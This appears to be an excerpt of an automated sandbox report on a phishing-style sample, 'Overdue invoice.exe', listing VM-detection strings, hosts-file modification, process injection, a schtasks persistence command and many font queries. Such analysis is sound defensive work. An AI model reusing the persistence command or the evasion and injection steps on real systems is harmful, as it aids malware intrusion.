Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: yqWDN.exe, 00000010.00000002.371254858.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: Overdue invoice.exe, 00000007.00000002.521324973.0000000001715000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Overdue invoice.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Modifies the hosts file

Source: C:\Users\user\Desktop\Overdue invoice.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Overdue invoice.exe	Memory written: C:\Users\user\Desktop\Overdue invoice.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Memory written: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Process created: C:\Users\user\Desktop\Overdue invoice.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmp2055.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Process created: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Users\user\Desktop\Overdue invoice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
